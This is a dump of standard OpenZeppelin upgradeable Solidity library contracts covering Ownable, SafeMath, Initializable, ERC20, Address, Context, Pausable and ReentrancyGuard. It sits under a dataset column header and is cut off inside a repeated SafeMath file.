file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/ContextUpgradeable.sol";
import "./ERC20Upgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
using SafeMathUpgradeable for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
